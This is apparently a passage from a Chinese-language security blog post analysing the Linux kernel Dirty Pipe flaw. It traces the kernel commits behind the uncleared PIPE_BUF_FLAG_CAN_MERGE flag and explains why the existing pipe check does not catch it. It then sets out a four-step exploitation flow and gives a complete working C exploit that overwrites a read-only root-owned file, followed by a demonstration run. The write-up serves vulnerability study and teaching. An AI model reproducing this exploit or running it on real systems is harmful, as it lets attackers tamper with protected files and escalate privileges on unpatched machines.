1 2 3 4 5 6 7 | commit: 9d2231c5d74e13b2a0546fee6737ee4446017903 copy_page_to_iter_pipe + buf - >flags = 0 ; push_pipe + buf - >flags = 0 ; |
首先copy_page_to_iter_pipe
和push_pipe
函数是管道读取数据时使用的接口,pipe_write
函数运行时会根据是否使用直连IO的方式写入文件来设置标志位,如果不是内核会将物理页空间利用到极致,这个时候会设置PIPE_BUF_FLAG_CAN_MERGE
标志允许物理页中新旧数据合并。
虽然splice.c
中消除了PIPE_BUF_FLAG_CAN_MERGE
标志,但这是不够的,因为pipe_read
读出数据时,旧数据的状态情况是全部情况的,但在添加buf->flags = 0
之前,flags
的标记是一直留下的,虽然页是变化的,但遗留下来的标志位产生了隐患,每个页都是需要合并的吗,这个问题的答案一定不是肯定的。
这个改动并没有这一保留下来,在下方编号的提交记录中,会发现buf->flags = 0
语句已经被清除掉了。
1 | commit: 47b7fcae419dc940e3fb8e58088a5b80ad813bbf |
本次提交有一个重要的改变就是添加了push_anon
和push_page
,这个函数的主要区别在于一个是先分配新物理页,在通过pipe_buf
获取缓冲区数据信息并设置物理页,另一个则会直接复用旧的物理页。
1 2 3 4 5 6 7 8 9 | iov_iter.c: push_anon - > alloc_page - > pipe_buf - > * buf = (struct pipe_buffer) { ... } push_page - > pipe_buf - > * buf = (struct pipe_buffer) { ... } |
这项改动虽然移除了buf->flags = 0
语句,但是缓冲区信息会通过*buf = (struct pipe_buffer) { ... }
语句重新初始化,struct pipe_buffer
中的flags
成员并没有进行设置,所以flags
成员会默认初始化为0,保持了缓冲区信息读取后清空的逻辑。
漏洞的产生
从上面我们可以看到,漏洞修复的方式是在管道数据被读取后将自身信息清空(最关键的就是flags
),避免自身状态对后续数据产生影响。
在PIPE_BUF_FLAG_CAN_MERGE
标志合并进Linux内核代码之前,内核通过ops
接口指针判断会不会进行合并操作,一般来讲pipe_wire
阶段默认会设置ops
为anon_pipe_buf_ops
(可以合并缓冲区数据)。
1 2 3 | anon_pipe_buf_ops anon_pipe_buf_nomerge_ops packet_pipe_buf_ops |
进行splice
操作时,由于splice
允许向将文件的物理页提供给管道,对于内核来讲它是不希望这些物理页被盗取的,所以会通过pipe_buf_mark_unmergeable
来消除合并操作。
当从文件读取数据复制到管道时,会经过copy_page_to_iter
函数,因为管道将标志设置成了ITER_PIPE
,所以会进入copy_page_to_iter_pipe
导致ops
指针改变。
1 2 3 | copy_page_to_iter - > copy_page_to_iter_pipe - > buf - >ops = &page_cache_pipe_buf_ops |
改变后的指针变成了page_cache_pipe_buf_ops
,而不再是anon_pipe_buf_ops
,使得pipe_buf_can_merge
判断失败,所以内核不会进行合并操作。
当PIPE_BUF_FLAG_CAN_MERGE
标志合并进Linux内核后,ops
的操作不再变来变去,pipe_buf_can_merge
的判断也失效了,按理说读取完后,flags
应该清空的,但实际上却并没有这样做,遗留下来的PIPE_BUF_FLAG_CAN_MERGE
标志如果被滥用,就会出现磁盘文件被非预期操作更改的情况。
不生效的拦路虎
pipe_write
写文件时,会通过iov_iter_is_pipe
判断检查类型是不是ITER_PIPE
,如果是就会触发报警信息并返回。
显然一开始开发的内核程序员知道splice
复用物理页的风险,所以在这里设置了检查,这个检查是一直存在的,但是它为什么没有起到拦截作用呢?
1 2 3 4 | _copy_from_iter - > if iov_iter_is_pipe - > WARN_ON - > return |
虽然经过splice
后,管道缓冲区数据类型会被打上ITER_PIPE
的标签,但是只要是通过read
或wrtie
等方式经过vfs
接口读写文件的话,类型都会被设置成ITER_UBUF
。
1 2 3 4 5 6 7 8 | vfs_read - > new_sync_read - > iov_iter_ubuf - > .iter_type = ITER_UBUF vfs_write - > new_sync_write - > iov_iter_ubuf - > .iter_type = ITER_UBUF |
因此write(p[1], data, data_size)
虽然写的是管道文件,但是数据还是被打上了ITER_UBUF
的标志,导致WARN_ON
不被触发。
物理页的写回问题
内核通过标记物理页为dirty
脏页,来控制物理页回写到硬盘上,为了触发脏页的设置,我们可以通过访问文件操作达到这一目的。
回写到磁盘文件上之后,我们就可以看到修改的内容。
总结
在PIPE_BUF_FLAG_CAN_MERGE
标志引入之前,PIPE_BUF_FLAG_XX
已经出现,当然之前PIPE_BUF_FLAG_XX
并没有导致安全问题,这是因为不同的标志管理的范围是不同的,只有PIPE_BUF_FLAG_CAN_MERGE
标志会影响被复用页的可写状态。
而通过ops
指针判断的方法,因为splice
操作后及时的更新免去一劫。
PIPE_BUF_FLAG_XX
的引入本意是让内核代码变得更加优雅,但却产生了安全问题,这是内核程序员们的疏忽吗?
首先需要明确一点,splice
带来的安全问题一直是被内核程序员们注意到的问题,比如通过数据的ITER_PIPE
标志,以及读写通过iov_iter_is_pipe
进行的判断,如果是ITER_PIPE
类型就会触发WARN_ON
警告。
那么内核程序员们一开始就没有打算初始化flags
,是现有的检查手段让他们相信不会除非安全问题,还是他们真的忽略了呢?
不管如何,PIPE_BUF_FLAG_CAN_MERGE
标志都被留存了下来,当检查条件与预期不匹配时漏洞就会产生,特别是错误的预期绕过的是权限相关检查的时候。
此时我们可以得到Dirty Pipe
漏洞的利用流程。
1 2 3 4 | 1. 通过pipe_write写入数据,此时数据的buf - >flags会默认加上PIPE_BUF_FLAG_CAN_MERGE标志 2. 因为默认可能会分配新页,所以通过pipe_read读取数据,将buf - >page空出来 3. 通过splice将文件页缓存读取到管道内 4. 通过pipe_wrtie向管道写入数据,因为flags中的PIPE_BUF_FLAG_CAN_MERGE一直被保留了下来,所以pipe_wrtie会向文件页缓存内写入数据 |
示例讲解
为了复现Dirty Pipe
漏洞,我们需要找一个合适的环境,通过commit
的提交时间筛选出来20.04.2的Ubuntu进行复习。
如果使用的是桌面版本的ISO,那么在安装过程中自动安装新版本的内核,旧的内核仍在boot
目录下,可以修改grub.cfg
文件启动旧内核。
1 | https: / / old - releases.ubuntu.com / releases / focal / ubuntu - 20.04 . 2 - desktop - amd64.iso |
在当前系统中存在着一个名为tmp.txt
的文件,它是一个只读文件不能被修改。
1 2 3 4 5 | cat tmp.txt 1234567890 - = ls - lh tmp.txt - r - - r - - r - - 1 root root 13 12 月 16 18 : 35 b.txt |
接下来根据上方的分析构造出exploit,用于改变只读文件tmp.txt
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/user.h> static void pipe_info_set( int pfd[ 2 ]) { unsigned int size, len , site; char buf[ 4096 ]; pipe(pfd); size = fcntl(pfd[ 1 ], F_GETPIPE_SZ); site = size; while (site > 0 ) { len = site > sizeof(buf) ? sizeof(buf) : site; write(pfd[ 1 ], buf, len ); site - = len ; } site = size; while (site > 0 ) { len = site > sizeof(buf) ? sizeof(buf) : site; read(pfd[ 0 ], buf, len ); site - = len ; } } int main( int argc, char * argv[]) { int fd, pfd[ 2 ]; ssize_t len ; loff_t offset; if (argc ! = 3 ) { printf( "usage: dirty_pipe_example $(file) $(data)\n" ); return - 1 ; } fd = open (argv[ 1 ], O_RDONLY); if (fd < 0 ) { printf( "open [%s] failed\n" , argv[ 1 ]); return - 2 ; } pipe_info_set(pfd); offset = 0 ; len = splice(fd, &offset, pfd[ 1 ], NULL, 1 , 0 ); if ( len < = 0 ) { printf( "splice failed\n" ); return - 3 ; } write(pfd[ 1 ], argv[ 2 ], strnlen(argv[ 2 ], 48 )); printf( "please access file [%s]\n" , argv[ 1 ]); } |
编译出可执行文件后,指定文件和数据提交修改信息,就可以修改只读文件了!
1 2 3 4 | . / dirty_pipe_example / tmp / tmp.txt ChangedByMe! cat tmp.txt 1ChangedByMe ! |
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!